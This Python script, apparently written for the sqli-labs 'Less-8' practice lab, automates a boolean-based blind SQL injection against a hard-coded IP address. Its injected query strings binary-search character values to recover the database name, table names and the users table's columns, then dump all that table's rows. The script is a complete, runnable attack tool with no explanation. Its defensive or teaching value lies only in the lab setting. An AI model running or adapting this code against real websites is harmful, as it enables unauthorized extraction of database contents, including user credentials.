1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
| import urllib
from urllib import parse
from urllib import request
import re
url="http://43.247.91.228:84/Less-8/?id="
right_text="You are in..........."
table_names=[]
cols=[]
data=[]
def get_length(check_name,limit=""):
length=0;
while True:
newurl="1' and length("+check_name+limit+")="+str(length)+"#"
response = request.urlopen(url + parse.quote(newurl)).read().decode()
if check(newurl)==True:
return length
else:
length+=1
def guess_name(namelength,check_name,limit=""):
name=""
for i in range(namelength):
a,b=64,64
while True:
b=int(b/2)
newurl="1' and ascii(substr("+check_name+limit+","+str(i+1)+")"+")<"+str(a)+"#"
if check(newurl)==True:
a-=b
else:
newurl="1' and ascii(substr("+check_name+limit+","+str(i+1)+")"+")="+str(a)+"#"
if check(newurl)==True:
name+=chr(a)
break
else:
a+=b
return name
def get_table_nums(check_name):
table_nums=0;
while True:
limit=" limit "+str(table_nums)+",1"
newurl="1' and ascii(substr("+check_name+limit+"),1))>0"+"#"
if check(newurl)==True:
table_nums+=1;
else:
break
return table_nums
def get_column_nums(table_name):
nums=0
while True:
newurl="1' and (select count(*) from information_schema.COLUMNS where table_name='"+str(table_name)+"') ="+str(nums)+"#"
if check(newurl)==True:
return nums
else:
nums+=1
def get_names(check_name,nums,names):
for n in range(nums):
limit=" limit "+str(n)+",1)"
length=get_length(check_name,limit)
name=guess_name(length,check_name,limit)
names.append(name)
def get_data_nums(DBname,table_name,cols):
nums=0
columns=0
while True:
column=cols[0]
newurl="1' and (select count(*) from %s.%s)=%s #" %(DBname,table_name,nums)
if check(newurl)==True:
break
else:
nums+=1
return nums
def get_data(DBname,table_name,cols,data_nums):
for i in range(len(cols)):
print("[*] "+cols[i]+"列的数据为:")
check_name=" (select %s from security.users " % (cols[i])
get_names(check_name,data_nums,data)
for n in range(data_nums):
print("-------"+data[n])
del data[:]
def check(newurl):
response = request.urlopen(url + parse.quote(newurl)).read().decode()
if (re.search("You are in...........",response)):
return True
else:
return False
DBnamelength=get_length("database()")
print("[*] 数据库长度为:" + str(DBnamelength))
print("[+] 开始获取数据库名字")
DBname=guess_name(DBnamelength,"database()")
print("[*] 数据库名字为:"+ DBname)
table_nums=get_table_nums("(select table_name from information_schema.tables where table_schema=database()")
print("[*] 表的数量为:"+str(table_nums))
print("[+] 开始获取表名")
get_names("(select table_name from information_schema.tables where table_schema=database()",table_nums,table_names)
print("[+] 开始获取users表的列名")
column_nums=get_column_nums("users")
get_names("(select column_name from information_schema.columns where table_name='users'",column_nums,cols)
data_nums=get_data_nums(DBname,"users",cols)
print("[*] 当前数据库名字为:"+ DBname)
print("[*] 表的数量为:"+str(table_nums))
print("[*] 所有表的名字为:")
for i in range(table_nums):
print(" "+table_names[i])
print("[*] users表一共有"+str(column_nums)+"列")
print("[*] users表下所有列的名字为")
for i in range(column_nums):
print(" "+cols[i])
get_data(DBname,"users",cols,data_nums)
|